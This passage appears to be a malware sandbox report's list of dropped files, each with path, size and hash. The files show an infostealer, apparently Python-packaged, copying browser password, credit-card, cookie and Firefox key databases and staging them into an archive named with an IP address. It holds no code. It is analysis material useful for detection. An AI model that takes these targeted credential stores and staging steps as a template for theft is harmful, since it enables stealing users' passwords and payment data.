                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\credit_cards.db
                          • Size 138KB
                          • SHA256 41c1e56b8a6e14cf8598aa737ef094c266e24ece735552787c1a090e86ea620a
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          passwords.db
                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\passwords.db
                          • Size 40KB
                          • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          settings.dat
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                          • Size 280B
                          • SHA256 98eae6fcc56d922689f3a45ab65635857e6510c437555d4eae3a6cd68dff3acb
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          settings.dat
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                          • Size 280B
                          • SHA256 85da5d101c008762046da9670ca95944217bbb1829e60a748f367ee4f9926b13
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          BookmarkMergedSurfaceOrdering
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512
                          Submit Download

                          SiteList-Enterprise.json
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                          • Size 2B
                          • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                          • MD5 SHA1 SHA512
                          Submit Download

                          Edge Profile.ico
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                          • Size 70KB
                          • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          SCT Auditing Pending Reports
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512
                          Submit Download

                          the-real-index
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\4a9d8211-7182-4c12-98f6-a69f4033bc23\index-dir\the-real-index
                          • Size 1KB
                          • SHA256 1746ee0f1f0b5707c2e95c5b08d672e2e147b8a962765afb93a1f1ed73c5c33e
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          the-real-index~RFe58a7b5.TMP
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\4a9d8211-7182-4c12-98f6-a69f4033bc23\index-dir\the-real-index~RFe58a7b5.TMP
                          • Size 1KB
                          • SHA256 86ccd25304af90ad68b78470a62d2c39b9abb905278416081ef3230a46e29603
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          sync_diagnostic.log
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
                          • Size 4KB
                          • SHA256 a0e8a01022a255c7fab8e12402e80e20e7d7fcef00426c4b6f1eff5846e4e7c0
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          cookies_temp_8266.db
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\cookies_temp_8266.db
                          • Size 20KB
                          • SHA256 de48f5c4308a2477450952a8fd6462c411cc966f9e0fb0065a252b3be831a482
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          credit_cards.db
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\credit_cards.db
                          • Size 224KB
                          • SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          passwords.db
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\passwords.db
                          • Size 56KB
                          • SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          Local State
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                          • Size 8KB
                          • SHA256 09b69698d1a0cb748626589bd84e2a6e20f61d8d11ee1e44ea56035e160ea59c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          Local State
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                          • Size 9KB
                          • SHA256 8a37cafe705bf5bd8c12d1b0028d8b6bdcd55c800cb4125d539213c349a80645
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
                          • Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
                          • Size 2KB
                          • SHA256 79931abd6ec48f792279b4a53a8b0ae6e4394530a51b3735290ec1d8575e3610
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          ServiceUpdate_4512.exe
                          • Path C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_4512.exe
                          • Size 1.8MB
                          • SHA256 73bd475adcfe2d5ebf625c22a3c45f401575b43eeb76062af4f2c683a5a4de80
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          81d243bd2c585b0f4821__mypyc.cp311-win_amd64.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\81d243bd2c585b0f4821__mypyc.cp311-win_amd64.pyd
                          • Size 211KB
                          • SHA256 89b688b3848e196de02a444c72cfc25bb3efebaba84a28469ac1e7f5738e0564
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _chacha20.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\Crypto\Cipher\_chacha20.pyd
                          • Size 13KB
                          • SHA256 ef063eb3aed160477551236d25f8dade24387ad4fff812814f2099d35e74416c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _raw_aes.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\Crypto\Cipher\_raw_aes.pyd
                          • Size 34KB
                          • SHA256 520b343e44b5633bbc4fdcecc705a7f2eb6e55d082a1f3e4723ada9d7e5ea97d
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _raw_aesni.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\Crypto\Cipher\_raw_aesni.pyd
                          • Size 15KB
                          • SHA256 3818873f50418cbecde58150e9bffff7372d2c2067fc0b96ffac9482dfddd603
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _raw_des3.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\Crypto\Cipher\_raw_des3.pyd
                          • Size 51KB
                          • SHA256 b60ce99ebcb7946fa9b66660ce7bba919571e0f1a97fb4c7e8a385d86cfa5c58
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _BLAKE2s.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\Crypto\Hash\_BLAKE2s.pyd
                          • Size 13KB
                          • SHA256 d1ed1ca3c6802954cd8ca6f5e419c54a357b4a04bb802bab876b04b942a4b862
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _poly1305.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\Crypto\Hash\_poly1305.pyd
                          • Size 13KB
                          • SHA256 2559f954dbd0082ff1e95c1f38936078866b6bc14006e3f64f0ba9fb6657d5c1
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _cpuid_c.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\Crypto\Util\_cpuid_c.pyd
                          • Size 10KB
                          • SHA256 2af984819d9b1f95132520901b355eb85aa24d5efc6fc5ae9e77252ed03b7f4b
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          VCRUNTIME140.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\VCRUNTIME140.dll
                          • Size 96KB
                          • SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          VCRUNTIME140_1.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\VCRUNTIME140_1.dll
                          • Size 37KB
                          • SHA256 1758085a61527b427c4380f0c976d29a8bee889f2ac480c356a3f166433bf70e
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _asyncio.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_asyncio.pyd
                          • Size 62KB
                          • SHA256 aebc378db08617ea81a0a3a3bc044bcc7e6303e314630392dd51bab12f879bd9
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _bz2.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_bz2.pyd
                          • Size 81KB
                          • SHA256 5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _ctypes.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_ctypes.pyd
                          • Size 120KB
                          • SHA256 e662d2b35bb48c5f3432bde79c0d20313238af800968ba0faa6ea7e7e5ef4535
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _decimal.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_decimal.pyd
                          • Size 245KB
                          • SHA256 d0df57988a74acd50b2d261e8b5f2c25da7b940ec2aafbee444c277552421e6e
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _hashlib.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_hashlib.pyd
                          • Size 62KB
                          • SHA256 39bc615842a176db72d4e0558f3cdcae23ab0623ad132f815d21dcfbfd4b110e
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _lzma.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_lzma.pyd
                          • Size 154KB
                          • SHA256 613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _multiprocessing.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_multiprocessing.pyd
                          • Size 32KB
                          • SHA256 0ae3bf383ff998886f97576c55d6bf0a076c24395cf6fcd2265316e9a6e8c007
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _overlapped.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_overlapped.pyd
                          • Size 48KB
                          • SHA256 a083e83f609ed7a2fc18a95d44d8f91c9dc74842f33e19e91988e84db94c3b5b
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _queue.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_queue.pyd
                          • Size 30KB
                          • SHA256 2f71046891ba279b00b70eb031fe90b379dbe84559cf49ce5d1297ea6bf47a78
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _socket.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_socket.pyd
                          • Size 76KB
                          • SHA256 39715ef8d043354f0ab15f62878530a38518fb6192bc48da6a098498e8d35769
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _sqlite3.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_sqlite3.pyd
                          • Size 115KB
                          • SHA256 ddbed9d48b17c54fd3005f5a868dd63cb8f3efe2c22c1821cebb2fe72836e446
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _ssl.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\_ssl.pyd
                          • Size 155KB
                          • SHA256 cb42e8598e3fa53eeebf63f2af1730b9ec64614bda276ab2cd1f1c196b3d7e32
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          base_library.zip
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\base_library.zip
                          • Size 1.4MB
                          • SHA256 b5d4c216587d8ad4ef40f39f9e23b8f9138fc2cf708cdb324c50745abd3f5c9b
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          cd.cp311-win_amd64.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\charset_normalizer\cd.cp311-win_amd64.pyd
                          • Size 10KB
                          • SHA256 45a9cb1664e2e26ea183d34652869a6a7183b0b2018e151da1e3c88213e8bc8c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          libcrypto-1_1.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\libcrypto-1_1.dll
                          • Size 3.3MB
                          • SHA256 976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          libffi-8.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\libffi-8.dll
                          • Size 34KB
                          • SHA256 128a583e821e52b595eb4b3dda17697d3ca456ee72945f7ecce48ededad0e93c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          libssl-1_1.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\libssl-1_1.dll
                          • Size 686KB
                          • SHA256 2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          pyexpat.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\pyexpat.pyd
                          • Size 193KB
                          • SHA256 d97f3e27130c267e7d3287d1b159f65559e84ead9090d02a01b4c7dc663cd509
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          python311.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\python311.dll
                          • Size 5.5MB
                          • SHA256 a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          pywintypes311.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\pywin32_system32\pywintypes311.dll
                          • Size 132KB
                          • SHA256 dcc14a7ed85a324e357eab7db970d8db61387c8b5d6baa23283aabd8300c4e09
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          select.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\select.pyd
                          • Size 28KB
                          • SHA256 0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          sqlite3.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\sqlite3.dll
                          • Size 1.4MB
                          • SHA256 8d58db3067899c997c2db13baf13cd4136f3072874b3ca1f375937e37e33d800
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          unicodedata.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\unicodedata.pyd
                          • Size 1.1MB
                          • SHA256 ecf7836aa0d36b5880eb6f799ec402b1f2e999f78bfff6fb9a942d1d8d0b9baa
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          win32crypt.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI24442\win32\win32crypt.pyd
                          • Size 122KB
                          • SHA256 57b37eae88743fe71226365880f8870b2082a8df9775c28019f58c25f75a05c9
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          __PSScriptPolicyTest_cx5c4hs1.4et.ps1
                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cx5c4hs1.4et.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          [85.203.46.7][XX]04-21-18-02-08-26.zip
                          • Path C:\Users\Admin\AppData\Local\[85.203.46.7][XX]04-21-18-02-08-26.zip
                          • Size 460KB
                          • SHA256 95a2fb36dfa3e361b67525b563db0fa3ef730ba35541b8ca9d2d393a882b5c35
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          key4_temp.db
                          • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jaarrave.default-release\key4_temp.db
                          • Size 288KB
                          • SHA256 ad6778ef80281f2fbdd124bbd25f3f2cf29c48f2b0a084ccdae14d26bce36049
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          memory/5036-515-0x000001F6E3F50000-0x000001F6E3F72000-memory.dmp
                          Download